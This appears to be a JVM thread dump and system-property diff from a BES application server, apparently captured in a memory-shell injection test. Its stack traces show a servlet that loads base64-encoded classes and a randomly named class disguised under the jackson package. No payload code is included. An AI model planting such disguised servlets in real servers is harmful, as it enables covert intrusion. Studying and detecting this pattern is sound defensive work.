at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@25b4ba8f
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||||
|
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||||
|
|
||||||
|
"SelectorReaderThread-8080-1" #76 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:892)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #60 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"LifecycleThread[com.bes.appserv]-1" #59 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@146bd4e6
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@32b9af7c
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||||
|
|
||||||
|
"ReadWriteBlockThread-0" #14 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-6" #70 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.lang.Thread.dumpThreads(Native Method)
|
||||||
|
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||||
|
at com.fasterxml.jackson.EwGWk.ErrorKnbprHandler.toString(BasicInfoPrinter.java:26)
|
||||||
|
at java.lang.String.valueOf(String.java:2994)
|
||||||
|
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||||
|
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:92)
|
||||||
|
at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
|
||||||
|
at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
|
||||||
|
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:136)
|
||||||
|
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:77)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:83)
|
||||||
|
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:349)
|
||||||
|
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:662)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:807)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1688)
|
||||||
|
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AsyncTimeoutThread-1900" #75 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1161)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI RenewClean-[172.17.0.3:6600]" #96 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@144f793b
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-2" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_3" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"ReadWriteBlockThread-1" #15 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||||
|
|
||||||
|
"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@142fd9ff
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:460)
|
||||||
|
at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
||||||
|
at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
||||||
|
at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
||||||
|
at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
||||||
|
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-4" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Stateful cache" #57 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ea9f378
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_2" #86 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-4" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI TCP Connection(1)-172.17.0.3" #94 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||||
|
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||||
|
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||||
|
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1879938894.run(Unknown Source)
|
||||||
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #99 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
StackClassNames:
|
||||||
|
Base64ClassLoaderServlet
|
||||||
|
EmptyFilter
|
||||||
|
ServletNameTestFilter
|
||||||
|
UrlMappingTestFilter
|
||||||
|
com.bes.ejb.spark.tcp.threadpool.PreSelector
|
||||||
|
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
|
||||||
|
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
|
||||||
|
com.bes.ejb.spark.tcp.transport.AcceptorThread
|
||||||
|
com.bes.enterprise.appserver.startup.Bootstrap
|
||||||
|
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||||
|
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||||
|
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||||
|
com.bes.enterprise.base.disruptor.util.Util
|
||||||
|
com.bes.enterprise.server.builder.BesWebModule
|
||||||
|
com.bes.enterprise.startup.ASMain
|
||||||
|
com.bes.enterprise.web.crane.AbstractProcessorLight
|
||||||
|
com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout
|
||||||
|
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
|
||||||
|
com.bes.enterprise.web.crane.http11.Http11Processor
|
||||||
|
com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$Acceptor
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$Poller
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
|
||||||
|
com.bes.enterprise.web.util.net.SocketProcessorBase
|
||||||
|
com.bes.enterprise.web.util.threads.WorkQueue
|
||||||
|
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
|
||||||
|
com.bes.enterprise.web.websocket.server.WsFilter
|
||||||
|
com.bes.enterprise.webext.BESAppservValve
|
||||||
|
com.bes.enterprise.webext.BesContextCleanupValve
|
||||||
|
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
|
||||||
|
com.bes.enterprise.webtier.connector.CoyoteAdapter
|
||||||
|
com.bes.enterprise.webtier.connector.CoyoteWriter
|
||||||
|
com.bes.enterprise.webtier.core.ApplicationFilterChain
|
||||||
|
com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor
|
||||||
|
com.bes.enterprise.webtier.core.DefaultContextValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultEngineValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultHostValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultWrapperValve
|
||||||
|
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||||
|
com.fasterxml.jackson.EwGWk.ErrorKnbprHandler
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# Generated At 2025-08-10 14:56:20
|
# Generated At 2026-05-24 05:04:43
|
||||||
SystemProps:
|
SystemProps:
|
||||||
bes.loader: bes-system
|
bes.loader: bes-system
|
||||||
java.vendor: Oracle Corporation
|
java.vendor: Oracle Corporation
|
||||||
@@ -22,11 +22,11 @@ user.name: root
|
|||||||
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||||
org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true
|
org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true
|
||||||
com.bes.resource.ejb.leakDetect: false
|
com.bes.resource.ejb.leakDetect: false
|
||||||
com.bes.hostName: a1666f015eb3
|
com.bes.hostName: 96b21756e3f9
|
||||||
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||||
user.language: en
|
user.language: en
|
||||||
derby.system.home: /opt/bes
|
derby.system.home: /opt/bes
|
||||||
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
|
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
|
||||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||||
com.bes.enterprise.log.outAndErrNotRedirect: false
|
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||||
java.version: 1.8.0_342
|
java.version: 1.8.0_342
|
||||||
@@ -50,7 +50,7 @@ java.home: /usr/local/openjdk-8/jre
|
|||||||
java.vm.info: mixed mode
|
java.vm.info: mixed mode
|
||||||
com.bes.instanceName: server
|
com.bes.instanceName: server
|
||||||
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||||
os.version: 6.14.10-orbstack-00291-g1b252bd3edea
|
os.version: 6.8.0-111-generic
|
||||||
path.separator: :
|
path.separator: :
|
||||||
java.vm.version: 25.342-b07
|
java.vm.version: 25.342-b07
|
||||||
com.bes.verboseMode: true
|
com.bes.verboseMode: true
|
||||||
@@ -69,7 +69,7 @@ java.security.egd: file:/dev/./urandom
|
|||||||
user.home: /root
|
user.home: /root
|
||||||
com.bes.enterprise.needEncrypt.systemProperties: javax.net.ssl.trustStorePassword,javax.net.ssl.keyStorePassword
|
com.bes.enterprise.needEncrypt.systemProperties: javax.net.ssl.trustStorePassword,javax.net.ssl.keyStorePassword
|
||||||
java.specification.vendor: Oracle Corporation
|
java.specification.vendor: Oracle Corporation
|
||||||
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64
|
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/x64
|
||||||
java.vendor.url: http://java.oracle.com/
|
java.vendor.url: http://java.oracle.com/
|
||||||
com.bes.enterprise.deployments.classpath: false
|
com.bes.enterprise.deployments.classpath: false
|
||||||
java.vm.vendor: Oracle Corporation
|
java.vm.vendor: Oracle Corporation
|
||||||
@@ -77,7 +77,7 @@ common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/
|
|||||||
com.bes.enterprise.startup.ExitOnInitFailure: true
|
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||||
java.runtime.name: OpenJDK Runtime Environment
|
java.runtime.name: OpenJDK Runtime Environment
|
||||||
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
|
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
|
||||||
java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar
|
